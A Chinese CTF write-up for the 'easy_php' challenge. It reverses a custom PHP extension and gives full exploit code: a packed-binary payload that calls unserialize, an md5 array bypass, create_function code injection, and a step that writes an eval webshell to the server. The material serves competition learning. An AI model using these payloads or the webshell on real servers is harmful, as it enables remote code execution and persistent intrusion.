2022春秋杯 勇者山峰赛道0解 easy_php题解

白帽子社区

共 10083字,需浏览 21分钟

 · 2022-05-14

本文来自“白帽子社区知识星球”

作者:yybdy@WHT



白帽子社区知识星球

加入星球,共同进步

WHT战队招新:


  • WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。

  • 有半年以上CTF竞赛经验的。

  • 包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。

  • 加分项:有一年以上CTF竞赛经验的各方向CTFer。


    有意向的师傅请扫描二维码联系我们

01

题目分析


<?phphighlight_file(__FILE__);error_reporting(0);function createFolder($path){  if (!file_exists($path)) {    createFolder(dirname($path));    mkdir($path, 0777);  }}
function savePostData(){ $content = $GLOBALS['HTTP_RAW_POST_DATA']; if (empty($content)) { $content = file_get_contents('php://input'); } if ($content == null) { exit(0); } $format = 'lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen'; $head = unpack("$format", $content); unset($format); $format = 'lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen' . '/a' . ($head["nFileNameLen"]) . 'chFileName' . '/a' . ($head["nFileDataLen"]) . 'data'; $head = unpack("$format", $content); if (is_string($head["chFileName"])) { $fileName = $head["chFileName"]; $white_func = array("readfile","unserialize","phpinfo"); if (!in_array($fileName, $white_func)) { exit("hi hack!"); } $fileName($head["data"]); } echo "FAIL";}savePostData();?>


函数功能

先看下题目,总共2个函数,

createFolder

  • 创建目录

savePostData

  • 先获取了所有post数据然后用unpack来处理

  • 检测处理后的数据中chFileName是否为字符串

  • 检测chFileName内容是否是$white_func中的三个函数

  • chFileName(data)

02

0x001

第一步需要构造unpack的数据

https://www.runoob.com/php/func-misc-unpack.html

php pack format类型


a    以NUL字节填充字符串空白
A 以SPACE(空格)填充字符串
h 十六进制字符串,低位在前
H 十六进制字符串,高位在前
c 有符号字符
C 无符号字符
s 有符号短整型(16位,主机字节序)
S 无符号短整型(16位,主机字节序)
n 无符号短整型(16位,大端字节序)
v 无符号短整型(16位,小端字节序)
i 有符号整型(机器相关大小字节序)
I 无符号整型(机器相关大小字节序)
l 有符号长整型(32位,主机字节序)
L 无符号长整型(32位,主机字节序)
N 无符号长整型(32位,大端字节序)
V 无符号长整型(32位,小端字节序)
q 有符号长长整型(64位,主机字节序)
Q 无符号长长整型(64位,主机字节序)
J 无符号长长整型(64位,大端字节序)
P 无符号长长整型(64位,小端字节序)
f 单精度浮点型(机器相关大小)
d 双精度浮点型(机器相关大小)
x NUL字节
X 回退一字节
Z 以NUL字节填充字符串空白(new in PHP 5.5)
@ NUL填充到绝对位置


测试:


$string = pack('L4', 1, 2, 3, 4);
var_dump(unpack('Ll1/Ll2/Ll3/Ll4', $string)); //可以指定key,用/分割//输出:
array(4) {
["l1"]=>int(1)
["l2"]=>int(2)
["l3"]=>int(3)
["l4"]=>int(4)
}


unpack的数据前4个有符号整形字段没用,后面的4个字段分别为:

  • int functionNameLen

  • int functionArgLen

  • String functionName

  • String functionArg


exp:

<?php
$func = "phpinfo";
$funcLen = strlen($func);
$arg = "-1";
$argLen = strlen($arg);
$a = pack("l", 1);
$a = $a.$a.$a.$a;
$a = $a..pack("l", $funcLen).pack("l", $argLen);
$a = $a.pack("a${funcLen}", $func);
$a = $a.pack("a${argLen}", $arg);
$format = "lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen" . "/a${funcLen}" . "chFileName" . "/a${argLen}". "data";
$obj = unpack("$format", $a);
var_dump($obj);

$url = "http://eci-xxxxxxxxx.cloudeci1.ichunqiu.com/";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $a);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);


03

0x002

先看phpinfo发现存在disable_func和open_basedir



并且存在一个ctf扩展,先用readfile读取(路径在php.ini中extensions_dir)


readfile("/usr/local/lib/php/extensions/no-debug-non-zts-20190902/ctf.so");


分析so扩展

到本地逆向查看发现主要构造了一个php类,不难发现根据phpinfo中zephir_pareser扩展来猜,作者是利用zephir去把写好的一个类编译成C然后生成的so扩展(https://zephir-lang.com)

这里添加了5个属性



php类的析构函数



根据php私有属性id定义


#define ZEND_ACC_PUBLIC          (1 <<  0) 
#define ZEND_ACC_PROTECTED (1 << 1)
#define ZEND_ACC_PRIVATE (1 << 2)


还原源代码

简单的还原这个类:

namespace Ctf{    class  Greeting{        public $search;        private $key;        private $cmd;        private $args;         private $token;
function __destruct(){ if(md5($this->key)==md5($this->token) && $this->key != $this->token){ zim_Ctf_Greeting_call_back(cmd, args); } } }}


zim_Ctf_Greeting_call_back函数分析如下:



Php基础变量typedef union _zend_value {    zend_long         lval;             /* long value */    double            dval;             /* double value */    zend_refcounted  *counted;    zend_string      *str;    zend_array       *arr;    zend_object      *obj;    zend_resource    *res;    zend_reference   *ref;    zend_ast_ref     *ast;    zval             *zv;    void             *ptr;    zend_class_entry *ce;    zend_function    *func;    struct {        uint32_t w1;        uint32_t w2;    } ww;} zend_value;
struct _zval_struct { zend_value value; /* value */ union { struct { ZEND_ENDIAN_LOHI_3( zend_uchar type, /* active type */ zend_uchar type_flags, union { uint16_t extra; /* not further specified */ } u) } v; uint32_t type_info; } u1;union { uint32_t next; /* hash collision chain */ uint32_t cache_slot; /* cache slot (for RECV_INIT) */ uint32_t opline_num; /* opline number (for FAST_CALL) */ uint32_t lineno; /* line number (for ast nodes) */ uint32_t num_args; /* arguments number for EX(This) */ uint32_t fe_pos; /* foreach position */ uint32_t fe_iter_idx; /* foreach iterator index */ uint32_t access_flags; /* class constant access flags */ uint32_t property_guard; /* single property guard */ uint32_t constant_flags; /* constant flags */ uint32_t extra; /* not further specified */} u2;};


Type=6代表字符串

_zend_string结构如下:


typedef struct _zend_refcounted_h {    uint32_t         refcount;          /* reference counter 32-bit */    union {        uint32_t type_info;    } u;} zend_refcounted_h;
struct _zend_refcounted { zend_refcounted_h gc;};
struct _zend_string { zend_refcounted_h gc; zend_ulong h; /* hash value */ size_t len; char val[1];};


1.判断参数1长度是否小于等于12,走两条不同的路



2.若小于等于12,则调用方法ephir_call_zval_func_aparams(cmd, args),还原php代码为

$cmd($args);


否则走另一条路:


zval *params_[2];
params_[1] = “”;
params_[2] = base64_decode(args);
zephir_call_func_aparams(out_value, "create_function", 15, 0, 2, 2, params_);


还原php代码为create_function(‘’, base64_decode($args));

最后还原整个zim_Ctf_Greeting_call_back方法:


public function call_back($cmd, $args){
if(strlen($cmd)<=12){
$cmd($args);
}
else{
create_function(‘’, base64_decode($args));
}
}


最终还原的Ctf\Greeting


namespace Ctf{    class Greeting{        protected $key;        protected $cmd;        protected $args;        protected $token;        public $search;
function __destruct(){ if(md5($this->key)==md5($this->token) && $this->key != $this->token){ if(strlen($cmd)<=12){ $this->cmd($this->args); } else{ create_function(‘’, base64_decode($args)); } } } }}


POC

  • md5直接用数组绕

  • cmd长度大于12,用create_function代码注入漏洞(https://blog.csdn.net/qq_51652864/article/details/115701537)

poc:

<?php
namespace Ctf{ class Greeting{ protected $key; protected $cmd; protected $args; protected $token; public $search;
public function __construct(){ $this->cmd = '11111111111111'; $this->args =base64_encode('}phpinfo();//'); $this->search = 1; $this->token = array('yes'); $this->key = array('no');; }
public function __destruct(){ if(md5($this->key)==md5($this->token) && $this->key != $this->token){ if(strlen($this->cmd)<=12){ $this->cmd($this->args); } else{ create_function('', base64_decode($this->args)); } } } }}
namespace{ $exp = new Ctf\Greeting(); echo urlencode(serialize($exp));}



04

0x003

尝试写shell

因为题目存在disable_funcopen_basedir不能直接找flag

所以尝试写webshell来绕过它。

但是这里根据题目,猜测应该是没权限,用作者提供的createFolder创建一个目录

public function __construct(){    $this->cmd = 'createFolder';    $this->args ='shell';    $this->search = 1;    $this->token = array('yes');    $this->key = array('no');;}


然后写shell

<?php# serializenamespace Ctf{    class Greeting{        protected $key;        protected $cmd;        protected $args;        protected $token;        public $search;
public function __construct(){ $this->cmd = '11111111111111'; $this->args =base64_encode('}file_put_contents("shell/shell.php","<?php eval(\$_POST[\'a\']);?>");//'); $this->search = 1; $this->token = array('yes'); $this->key = array('no');; }
public function __destruct(){ if(md5($this->key)==md5($this->token) && $this->key != $this->token){ if(strlen($this->cmd)<=12){ $this->cmd($this->args); } else{ create_function('', base64_decode($this->args)); } } } }}
namespace{
$exp = new Ctf\Greeting(); $exp=urlencode(serialize($exp));
# unpack
$data = urldecode($exp); $ln = strlen($data); $format = 'lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen' . '/a11' . 'chFileName' . "/a${ln}" . 'data'; $a = pack("l", 1); $a = $a.$a.$a.$a.pack("l", 11).pack("l", $ln); $a = $a.pack('a11', "unserialize"); $a = $a.pack("a${ln}", "${data}"); $obj = unpack("$format", $a); var_dump($obj);
#curl $url = "http://192.168.124.32/ezphp.php"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $a); $output = curl_exec($ch); curl_close($ch); print_r($output);


绕dibsable_func && open_basedir

可以直接用蚁剑插件即可




如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。


▼扫码关注白帽子社区公众号&加入知识星球▼


浏览 38
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报